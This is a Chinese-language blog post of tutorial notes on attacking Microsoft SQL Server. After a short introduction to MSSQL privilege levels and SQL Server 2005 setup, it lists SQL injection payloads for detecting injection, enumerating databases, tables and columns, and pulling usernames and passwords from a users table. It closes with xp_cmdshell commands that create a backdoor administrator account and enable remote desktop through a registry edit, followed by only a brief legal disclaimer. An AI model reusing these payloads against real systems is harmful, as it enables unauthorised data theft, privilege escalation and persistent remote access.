1. 程式人生 > 資料庫 >某教程學習筆記(一):08、MSSQL資料庫漏洞

某教程學習筆記(一):08、MSSQL資料庫漏洞

你永遠不知道,愛你愛到發瘋的人,給你發過長篇大論的人,突然安靜下來,不再打擾你,他心裡經歷了怎樣的傷痛。。。

一、MSSQL介紹

MSSQL商業,效能好,易用,企業支援好,有很多精度要高的型別,學校、政府、線上辦公、遊戲、棋牌等部門可能會用。

埠:1433

字尾:.mdf/.ldf

sa許可權:資料庫操作,檔案管理,命令執行,登錄檔讀取等,相當於win系統system

db許可權:檔案管理,資料庫操作等,相當於win系統adminnstrators

public許可權:資料庫操作,相當於win系統guest

二、SQL SERVER 2005

1、安裝成功,輸入賬號密碼登陸
在這裡插入圖片描述
2、master、model、msdb、tempdb這四個資料庫是系統自帶資料庫

在這裡插入圖片描述
3、右擊資料庫,新建資料庫,自動生成兩個檔案
在這裡插入圖片描述
4、雙擊展開新建的資料庫,右擊表,新增表,輸入列名和資料型別,儲存
在這裡插入圖片描述
5、右擊新建的表,開啟表,然後就可以新增我們的資料了
在這裡插入圖片描述
6、刪除資料庫,需要先右擊要刪除的資料庫,選擇任務,再選擇分離,然後再進目錄刪除資料庫

7、新增外來的資料庫,先把資料庫檔案放進目錄,然後右擊資料資料庫,選擇附加

8、備份資料庫,選擇要備份的資料庫右擊,選擇生成指令碼,選擇為伺服器版本編寫指令碼(修改為自己要用的版本)

9、還原資料庫,將匯出的腳本里面的內容複製到sql語句,執行,就會和重新生成一個數據庫,裡面的內容和備份資料庫的內容一樣。

三、程式碼呼叫

<%

cctt = “provier=sqloledb;source=local;uid=sa;pwd=**;database=database1”

Set conn = Server.Createobject(“ADODB.Connection”)

conn.open cctt

%>

provider後面的不用管,照寫; source後面的可以是ip地址,這裡我用的是本地的;sa是內建的使用者,它的密碼是你在安裝的時候設定的; database後面是你要連線的資料庫的名稱.

四、判斷注入

and 1=1 返回正常

and 1=2 返回錯誤,說明有注入

and user>0 返回正常,說明是sqlserver注入

and (select count(*)from sysobjects)>0 mssql 返回正常,說明是sqlserver注入

猜數表名

and( select count()from[表名])>0

猜欄位

and( select Count(欄位名)from[表名])>0

猜欄位中記錄長度

and(select top1len(欄位名)from表名)>0

猜欄位的asc值( access)

and( (select top1 asc(mid(欄位名,1,1)from表名)>0

猜欄位的ascii值(mssql)

and( select top1 unicode(substring(欄位名1,1)from表名)>0

測試許可權結構( mssql)

and 1=(select IS_SRVROLEMEMBER(‘sysadmin’));-- //判斷是否是系統管理員

and 1=(select IS_SRVROLEMEMBERC(‘serveradmin’));–

and 1=(select IS_SRVROLEMEMBERC(‘setupadmin’));–

and 1=(select IS_SRVROLEMEMBERC(‘securityadmin’));–

and 1=(select IS_SRVROLEMEMBER(‘diskadmin’));–

and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’);–

and 1=(select is_srvrolemember(‘db_owner’));–//判斷是否是庫許可權

and 1=(select is_srvrolemember(‘public’));–//判斷是否是pubilc許可權

and 1=convert(int,db_name())或1=(select db_name())//當前資料庫名

and 1=(select @@servername)//本地服務名

and 1=(select HAS_DBACCESS(‘master’))//判斷是否有庫讀取許可權

猜版本號

id=1 and 1=(select @@version)

id=@@version

猜資料庫名稱

id=1 and 1=(select db_name())

id=db_name()

獲取所有資料庫

id=1 and 1=(select name from master…sysdatabases for xml path)

獲取第一個使用者資料庫

id=1 and 1=(select top 1 name from master…sysdatabases where dbid>4) #資料庫是從第五個開始排的

獲取下一個資料庫

id=1 and 1=(select top 1 name from master…sysdatabases where dbid>4 and name <>‘上面查出來的資料庫’)

或者

id=1 and 1=(select top 1 name from master…sysdatabases where dbid>5) #一次類推

獲取所有表

id=1 and 1=(select name from sysobjects for xml path)

獲取第一張表

id=1 and 1=(select top 1 name from sysobjects where xtype=‘u’)

獲取下一張表

id=1 and 1=(select top 1 name from sysobjects where xtype=‘u’ and name <>‘上面查出來的表’)

獲取表users第一列列名uname

id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘users’))

獲取表users第二列列名upass

id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘users’) and name <> ‘uname’)

依次往後爆破

獲取表users第一個使用者名稱

?id=1 and 1=(select top 1 uname from users)

獲取密碼

?id=1 and 1=(select top 1 upass from users)

五、利用xp_cmdshell新增使用者

id=1 ;exec master…xp_cmdshell ‘net user username password /add’

id=1 ;exec master… xp_cmdshell ‘net localgroup administrators username /add’ 新增到管理員組

六、開啟3389埠

id=1 ;exec master…xp_cmdshell ‘sc config termservice start=auto’

;exec master…xp_cmdshell ‘net start termservice’

;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /vfDenyTSConnections /t REG_DWORD/d 0x0/f’

禁止非法,後果自負

歡迎關注公眾號:web安全工具庫
在這裡插入圖片描述